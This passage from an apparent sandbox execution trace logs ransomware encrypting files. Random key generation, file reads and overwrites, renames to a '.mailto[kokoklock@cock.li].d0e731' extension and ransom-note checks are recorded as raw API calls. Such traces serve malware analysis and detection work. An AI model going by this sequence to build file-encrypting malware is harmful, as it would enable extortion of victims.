Seed=0xa5efbf8) returned 0x516e1d37 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x1e01a10c [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x764b92d3 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xef8862a7 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xa9d3ce7 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x9a9a23da [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x3c464a07 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x4173f11a [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x3fbd4f47 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xf347f94c [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x245d62ff [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xfaa7e9fa [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x22a36b11 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xf3e58f79 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x32c34d70 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x7ab78112 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x8d0a714d [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x92124019 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x34dfda3b [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x802c6043 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x56a18910 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x4db2e31a [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x9c7388a [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x7fc7ca02 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0x3493e443 [0167.020] RtlRandom (in: Seed=0xa5efbf8 | out: Seed=0xa5efbf8) returned 0xb3fe51d6 [0167.029] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.030] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.031] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0xdb2, lpNumberOfBytesRead=0xa5efbec, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa5efbec*=0xdb2, lpOverlapped=0x0) returned 1 [0167.031] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0xa5efbb4 | out: lpNewFilePointer=0x0) returned 1 [0167.031] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0xdb2, lpNumberOfBytesWritten=0xa5efbe8, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa5efbe8*=0xdb2, lpOverlapped=0x0) returned 1 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.031] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0167.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4618) returned 1 [0167.031] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa5efbe4, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0xa5efbe4*=0x20, lpOverlapped=0x0) returned 1 [0167.031] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0167.032] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa5efc10*=0x8, lpOverlapped=0x0) returned 1 [0167.032] WriteFile (in: hFile=0x528, lpBuffer=0xa5efc28*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0xa5efc28*, lpNumberOfBytesWritten=0xa5efc10*=0x4, lpOverlapped=0x0) returned 1 [0167.032] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa5efc10*=0x4, lpOverlapped=0x0) returned 1 [0167.032] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa5efc10*=0x6c, lpOverlapped=0x0) returned 1 [0167.032] WriteFile (in: hFile=0x528, lpBuffer=0x2fe43c0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0x2fe43c0*, lpNumberOfBytesWritten=0xa5efc10*=0x20, lpOverlapped=0x0) returned 1 [0167.032] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa5efc10, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa5efc10*=0x4, lpOverlapped=0x0) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.032] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.032] CloseHandle (hObject=0x528) returned 1 [0167.032] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xcc) returned 0x2f7e038 [0167.033] wcscpy (in: _Dest=0x2f7e038, _Source="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" [0167.033] wcscat (in: _Dest=0x2f7e038, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.033] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.040] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f7e038) returned 1 [0167.041] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.041] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0167.041] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1030\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0167.041] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" [0167.041] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\d0e731-readme.txt")) returned 0x20 [0167.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0167.041] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f63a70) returned 1 [0167.041] RtlExitUserThread (Status=0x1) Thread: id = 1645 os_tid = 0x978 [0167.045] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.045] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.045] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.045] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa66fbbc | out: lpFileSize=0xa66fbbc*=77940) returned 1 [0167.045] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13070, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.045] ReadFile (in: hFile=0x528, lpBuffer=0xa66fb90, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0xa66fb90*, lpNumberOfBytesRead=0xa66fb8c*=0x4, lpOverlapped=0x0) returned 1 [0167.046] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe47d0 [0167.046] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4618 [0167.046] NtQuerySystemTime (in: CurrentTime=0xa66fb68 | out: CurrentTime=0xa66fb68*=132121213243604678) returned 0x0 [0167.046] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x8918c66c [0167.046] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x90930c52 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xdbb7fb4f [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x73c3f4b1 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x3165c59c [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xca127960 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x7a3f3347 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xd0bfb98a [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x1bacd402 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xc9d0eba3 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x63da522 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xe7cf65c2 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xb810ce5 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x83f5ea4a [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x3b55241 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x7ed43c7 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xcae3570a [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xef4ed18f [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x1da00652 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x2eddbe8e [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x9399e9d1 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x4c5ef29f [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x859f38d6 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xeb1365d9 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xb7f4d66e [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x7afb8b9 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xc65125c8 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x6aa0e98 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xa30d15ab [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0xc887e303 [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x8df798ff [0167.047] RtlRandom (in: Seed=0xa66fb74 | out: Seed=0xa66fb74) returned 0x2e81e4a3 [0167.056] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0167.058] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faaf48 [0167.058] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4500 [0167.058] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faaf48) returned 1 [0167.058] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.058] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fc6fd0 [0167.058] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.058] ReadFile (in: hFile=0x528, lpBuffer=0x2fc6fd0, nNumberOfBytesToRead=0x4096, lpNumberOfBytesRead=0xa66fb40, lpOverlapped=0x0 | out: lpBuffer=0x2fc6fd0*, lpNumberOfBytesRead=0xa66fb40*=0x4096, lpOverlapped=0x0) returned 1 [0167.059] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x40) returned 0x2f87620 [0167.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x70) returned 0x2faae58 [0167.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.059] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.059] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x4096) returned 0x2fcb070 [0167.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe4578 [0167.060] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0167.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fab8c0) returned 1 [0167.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2faae58) returned 1 [0167.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87620) returned 1 [0167.060] WriteFile (in: hFile=0x528, lpBuffer=0x2fcb070*, nNumberOfBytesToWrite=0x4096, lpNumberOfBytesWritten=0xa66fb40, lpOverlapped=0x0 | out: lpBuffer=0x2fcb070*, lpNumberOfBytesWritten=0xa66fb40*=0x4096, lpOverlapped=0x0) returned 1 [0167.060] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fcb070) returned 1 [0167.060] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x13074, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.060] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4578*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa66fb78, lpOverlapped=0x0 | out: lpBuffer=0x2fe4578*, lpNumberOfBytesWritten=0xa66fb78*=0x20, lpOverlapped=0x0) returned 1 [0167.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4578) returned 1 [0167.061] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc6fd0) returned 1 [0167.061] WriteFile (in: hFile=0x528, lpBuffer=0x2fe4500*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0x2fe4500*, lpNumberOfBytesWritten=0xa66fb8c*=0x8, lpOverlapped=0x0) returned 1 [0167.061] WriteFile (in: hFile=0x528, lpBuffer=0xa66fba4*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0xa66fba4*, lpNumberOfBytesWritten=0xa66fb8c*=0x4, lpOverlapped=0x0) returned 1 [0167.061] WriteFile (in: hFile=0x528, lpBuffer=0x2f719cc*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719cc*, lpNumberOfBytesWritten=0xa66fb8c*=0x4, lpOverlapped=0x0) returned 1 [0167.062] WriteFile (in: hFile=0x528, lpBuffer=0x2f6a3e8*, nNumberOfBytesToWrite=0x6c, lpNumberOfBytesWritten=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0x2f6a3e8*, lpNumberOfBytesWritten=0xa66fb8c*=0x6c, lpOverlapped=0x0) returned 1 [0167.062] WriteFile (in: hFile=0x528, lpBuffer=0x2fe47d0*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0x2fe47d0*, lpNumberOfBytesWritten=0xa66fb8c*=0x20, lpOverlapped=0x0) returned 1 [0167.062] WriteFile (in: hFile=0x528, lpBuffer=0x2f719ac*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0xa66fb8c, lpOverlapped=0x0 | out: lpBuffer=0x2f719ac*, lpNumberOfBytesWritten=0xa66fb8c*=0x4, lpOverlapped=0x0) returned 1 [0167.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe47d0) returned 1 [0167.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe43c0) returned 1 [0167.062] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fe4500) returned 1 [0167.062] CloseHandle (hObject=0x528) returned 1 [0167.062] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0xde) returned 0x2fc3290 [0167.062] wcscpy (in: _Dest=0x2fc3290, _Source="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" [0167.062] wcscat (in: _Dest=0x2fc3290, _Source=".mailto[kokoklock@cock.li].d0e731" | out: _Dest="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731") returned="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" [0167.062] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731"), lpNewFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731")) returned 1 [0167.063] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 1 [0167.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2fc3290) returned 1 [0167.063] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x80) returned 0 [0167.063] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x5c) returned 0x2f87bc8 [0167.063] wcscpy (in: _Dest=0x2f87bc8, _Source="C:\\588bce7c90097ed212\\1030\\" | out: _Dest="C:\\588bce7c90097ed212\\1030\\") returned="C:\\588bce7c90097ed212\\1030\\" [0167.063] wcscat (in: _Dest=0x2f87bc8, _Source="D0E731-Readme.txt" | out: _Dest="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt") returned="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" [0167.063] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1030\\D0E731-Readme.txt" (normalized: "c:\\588bce7c90097ed212\\1030\\d0e731-readme.txt")) returned 0x20 [0167.063] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f87bc8) returned 1 [0167.064] RtlFreeHeap (HeapHandle=0x2f60000, Flags=0x0, BaseAddress=0x2f6d410) returned 1 [0167.064] RtlExitUserThread (Status=0x1) Thread: id = 1646 os_tid = 0x97c [0167.065] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731")) returned 0x80 [0167.065] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731", dwFileAttributes=0x20) returned 1 [0167.066] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731" (normalized: "c:\\588bce7c90097ed212\\1029\\eula.rtf.mailto[kokoklock@cock.li].d0e731"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0167.066] GetFileSizeEx (in: hFile=0x528, lpFileSize=0xa6efe30 | out: lpFileSize=0xa6efe30*=3918) returned 1 [0167.066] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0xf4a, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.066] ReadFile (in: hFile=0x528, lpBuffer=0xa6efe04, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xa6efe00, lpOverlapped=0x0 | out: lpBuffer=0xa6efe04*, lpNumberOfBytesRead=0xa6efe00*=0x4, lpOverlapped=0x0) returned 1 [0167.068] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0167.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab8c0 [0167.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fab708 [0167.068] RtlAllocateHeap (HeapHandle=0x2f60000, Flags=0x8, Size=0x20) returned 0x2fe43c0 [0167.068] NtQuerySystemTime (in: CurrentTime=0xa6efddc | out: CurrentTime=0xa6efddc*=132121213243760956) returned 0x0 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x51c4ed2b [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xb4fdfabe [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x3564a2c0 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xf3eb810 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x57b3443e [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xa6c831be [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x3b00fb29 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x576148d0 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x574492ea [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xc9af97c4 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x3c0fd7ff [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x4158bd [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xad2bef26 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xcf6580c7 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0x87c44962 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xc3f0ce6c [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 0xa2a0feb9 [0167.068] RtlRandom (in: Seed=0xa6efde8 | out: Seed=0xa6efde8) returned 